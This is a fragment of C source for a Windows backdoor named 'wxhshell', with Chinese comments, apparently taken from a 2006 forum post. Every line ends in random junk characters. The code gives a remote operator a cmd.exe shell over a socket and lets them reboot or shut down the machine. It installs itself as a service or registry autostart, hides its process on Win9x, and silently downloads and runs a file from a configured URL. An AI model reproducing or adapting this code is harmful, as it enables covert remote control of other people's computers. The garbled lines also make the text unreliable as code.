  >WLHw!I!6  
  // 帮助 fe8hgTP|  
  case '?': { 2qQ;U?:q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  M%g2UP  
    break; oArXP\#  
  } $R+rB;=a!  
  // 安装 SE(c_ sX  
  case 'i': { 4$81ilBcL  
    if(Install()) :98:U~ d1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Kw?  
    else +N'&6z0Wf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:^ S-h  
    break; 4dm0:, G  
    } ~,Yd.?.TI  
  // 卸载 IfT: 9 &  
  case 'r': { /x4L,UJ= P  
    if(Uninstall()) p 16+(m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DO<M1uE  
    else LXZI|K[}k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0g~Cdp  
    break; 3E0C$v KM  
    } Z{/GT7 /  
  // 显示 wxhshell 所在路径 rU(-R@["  
  case 'p': { l%p,m [  
    char svExeFile[MAX_PATH]; m77 !i>V)  
    strcpy(svExeFile,"\n\r"); G:@1.H`  
      strcat(svExeFile,ExeFile); m#-&<=  
        send(wsh,svExeFile,strlen(svExeFile),0); ddbQFAQQQ  
    break; c]i;0j? Dl  
    } IkG;j+=  
  // 重启 Vol}wc  
  case 'b': { ,`YIcrya:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z$B%V t  
    if(Boot(REBOOT)) Ypxp4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gdg``U;)p  
    else { oX'@,(6)  
    closesocket(wsh); nyxoa/  
    ExitThread(0); i29a1nD4Hm  
    } 9p1@Lfbj  
    break; >&k`NXS|V  
    } B79~-,Yh  
  // 关机 KXpbee  
  case 'd': { o,S(;6pDJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %$'fq*8b  
    if(Boot(SHUTDOWN)) 0F.S[!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eKo=g|D  
    else { ;lS sy  
    closesocket(wsh); L)1\=[Ov  
    ExitThread(0); `C$QR 8  
    } YK5(oKFN  
    break; [=tIgMmz  
    } {[hgSVN ;  
  // 获取shell \Lg4Cx  
  case 's': { rO YD[+  
    CmdShell(wsh); (_6JQn  
    closesocket(wsh); #k[Y(_  
    ExitThread(0); yk(r R  
    break; iXWB  
  } Ix<!0! vk  
  // 退出 UoUQ6Ij  
  case 'x': { TtH!5{$s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #sk~L21A  
    CloseIt(wsh); 0Wc_m;  
    break; 2m} bddS  
    } e,Y<$kPV  
  // 离开  cV_-Bcb  
  case 'q': { h%NM%;"H/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "@|rU4Y  
    closesocket(wsh); t;-F]  
    WSACleanup(); X[f)0w%  
    exit(1); c-!3wvt)  
    break; )4.-6F7U?  
        } ^FVmP d*1  
  } N2Ysi$  
  } MJCz %zK  
ZLdIEBi=  
  // 提示信息 uu"hu||0_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k@h0 }%  
} #K/JU{"  
  } y~wr4Q=  
JG7K-W|!c  
  return; |[>yJXxEL@  
} Aon.Y Z  
CS5[E-%}T=  
// shell模块句柄 -WR<tkK  
int CmdShell(SOCKET sock) _OS,zZ0  
{ [7g-M/jvY  
STARTUPINFO si; FC||6vJth  
ZeroMemory(&si,sizeof(si)); N9y+P sh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W-Vc6cq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K5t.OAA:  
PROCESS_INFORMATION ProcessInfo; E7_OI7C  
char cmdline[]="cmd"; Zb|a\z8?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mn<s9ITS-  
  return 0; @`8a 3sL)  
} ?Zk;NL9  
@*- 6DG-f  
// 自身启动模式 Li$2 Gpc/  
int StartFromService(void) {,Rlq  
{ JAI.NKB3  
typedef struct 25j\p{*  
{ lC,~_Yb  
  DWORD ExitStatus; !IB}&m  
  DWORD PebBaseAddress; +Z86Qz_  
  DWORD AffinityMask; b`,Sd.2=('  
  DWORD BasePriority; ' I!/I  
  ULONG UniqueProcessId; t 7sEY  
  ULONG InheritedFromUniqueProcessId; [Fv,`*/sm  
}   PROCESS_BASIC_INFORMATION; 8.7q -<Q  
!^v~hD$_q  
PROCNTQSIP NtQueryInformationProcess; z|Yt|W  
*[BtW5 6-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yx,7e(AI`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3K/ 'K[~  
='_3qn.  
  HANDLE             hProcess; ~C>Q+tR8  
  PROCESS_BASIC_INFORMATION pbi; 5J1a8RBR  
KaH e(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C*B5"s"  
  if(NULL == hInst ) return 0; *K@O3n   
Y6v#0pT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Sv|yQUT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %y*'bS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t)g %9 k^  
`PvS+>q  
  if (!NtQueryInformationProcess) return 0; moh,aB#  
Kv<mDA!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y6d~hLC  
  if(!hProcess) return 0; oDJ &{N|  
! hEZV&y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nZc6 *jiz  
m_BpY9c]5  
  CloseHandle(hProcess); 7Kb&BF|Q  
C8)Paop$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W tHJG5  
if(hProcess==NULL) return 0; q5@Nd3~h  
51H6 W/$  
HMODULE hMod; |W@Ko%om  
char procName[255]; {?EmO+![}  
unsigned long cbNeeded; |$ZS26aYw}  
ZM <UiN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 81(\8#./  
>K1e=SY  
  CloseHandle(hProcess); a|#pl!  
p=Le oc1  
if(strstr(procName,"services")) return 1; // 以服务启动 4xg1[Z%:  
Bss *-K]  
  return 0; // 注册表启动 oIIi_yc  
} /BvMNKb$$  
l @@pXg3  
// 主模块 ^P/OHuDL  
int StartWxhshell(LPSTR lpCmdLine)  w}t}Sh  
{ m qUDve(  
  SOCKET wsl; !dcvG9JZ  
BOOL val=TRUE; d{@'&?tj  
  int port=0; b9 li   
  struct sockaddr_in door; <w8H[y"c  
ImH9 F\  
  if(wscfg.ws_autoins) Install(); 0Q8iX)  
g}K/ba'  
port=atoi(lpCmdLine); $=^}J 6  
/h`gQyGuY  
if(port<=0) port=wscfg.ws_port; ]n<B a7Y  
~i'!;'-_}  
  WSADATA data; ="%887e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "&^KnWk=  
7^UY%t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;E5XH"L\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4e; le&  
  door.sin_family = AF_INET; _%B,^0;C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3DB= Xh  
  door.sin_port = htons(port); ) hoVB  
Us2> 5 :\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R%)F9P$o  
closesocket(wsl); Us pv^O9_  
return 1; {TMng&  
} qs_cC3"=%=  
/RxqFpu|.  
  if(listen(wsl,2) == INVALID_SOCKET) { p|a`Q5z!  
closesocket(wsl); I3T;|;P7  
return 1; P 6ka'!z  
} ]~f-8!$$R  
  Wxhshell(wsl); TeR bW  
  WSACleanup(); !bnnUCTb\  
H!6&'=c{k  
return 0; tI#65ox#  
2bw.mp&v1  
} ;'Z"CbS+  
-4F}I3I  
// 以NT服务方式启动 T('rM :)/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yT7{,Z7t  
{ BePb8 k<y  
DWORD   status = 0; ?@`5^7*  
  DWORD   specificError = 0xfffffff; $*P +   
XbFo#Pwk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @ptrF pSL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [O!/hppN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?6x&A t  
  serviceStatus.dwWin32ExitCode     = 0; yGC HWP  
  serviceStatus.dwServiceSpecificExitCode = 0; (I>SqM Y  
  serviceStatus.dwCheckPoint       = 0; cd=H4:<T5  
  serviceStatus.dwWaitHint       = 0; p?P.BU\CR  
m6 xbO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M\IdQY-c  
  if (hServiceStatusHandle==0) return; 9:Bn-3)  
mRGr+m  
status = GetLastError(); EUH9R8)  
  if (status!=NO_ERROR) i??+5o@uTF  
{ EBQ_c@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,lFzL3'_0x  
    serviceStatus.dwCheckPoint       = 0; H/8u?OC  
    serviceStatus.dwWaitHint       = 0; {`J!DFfur  
    serviceStatus.dwWin32ExitCode     = status; $`t2SD  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?G]yU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t0P_$+w.>  
    return; s`.J!^u`  
  } WUQa2$.  
K!E\v4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $~ d6KFT  
  serviceStatus.dwCheckPoint       = 0; wZ `{ i  
  serviceStatus.dwWaitHint       = 0; $,I@c"m{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J^~J&  
} `G*fx=N  
G#uB%:)&0u  
// 处理NT服务事件,比如:启动、停止 BI!EmA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?"?AH/ED  
{ n}4q2x"  
switch(fdwControl) k>!i _lb  
{ 6KN6SN$  
case SERVICE_CONTROL_STOP: Z*NTF:6c  
  serviceStatus.dwWin32ExitCode = 0; vJx( lU`Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [?2?7>D8  
  serviceStatus.dwCheckPoint   = 0; u'Hh||La"  
  serviceStatus.dwWaitHint     = 0; ;vpq0t`  
  { W}(T5D" 3x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7v.O Lp  
  } 9c{ ~$zJW  
  return; X>]<rEh  
case SERVICE_CONTROL_PAUSE: X?`mYoe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hbu :HFJ!  
  break; Q!7mN?l  
case SERVICE_CONTROL_CONTINUE: 2) 2:KX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,t'"3<^Jg  
  break; yaHkWkl =  
case SERVICE_CONTROL_INTERROGATE: ]{ch]m  
  break; Upg8t'%{op  
}; -Wre4 ^,v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tejpY  
} Dx9k%G)!  
`\=~ $&vjC  
// 标准应用程序主函数 f&$$*a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YelF)Na  
{ fM*aZc*Y  
: ' pK  
// 获取操作系统版本 zMO xJ   
OsIsNt=GetOsVer(); KT*"Sbh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oj ,;9{-  
?dCJv_w  
  // 从命令行安装 9wdX#=I  
  if(strpbrk(lpCmdLine,"iI")) Install(); GQE7P()  
?]TtUoY=)F  
  // 下载执行文件 G('UF1F  
if(wscfg.ws_downexe) { 2 B_+5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C MGDg}  
  WinExec(wscfg.ws_filenam,SW_HIDE); v.gAi6  
} 4#ifm#  
v~YGef;D  
if(!OsIsNt) { N[yS heT  
// 如果时win9x,隐藏进程并且设置为注册表启动 dw| VH1fS  
HideProc(); V.ae 5@;  
StartWxhshell(lpCmdLine); m*KI'~#$%  
} y+Bxe )6^V  
else C7&L9k~jf  
  if(StartFromService()) =%b1EY k  
  // 以服务方式启动 aQj6XG u  
  StartServiceCtrlDispatcher(DispatchTable); jgfr_"@A  
else ?|n@ %'  
  // 普通方式启动 Nfmr5MU_  
  StartWxhshell(lpCmdLine); ]BmnE#n&  
w+XwPpM0.n  
return 0; Z)}2bJwA  
}
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只看该作者 1 发表于: 2006-10-10
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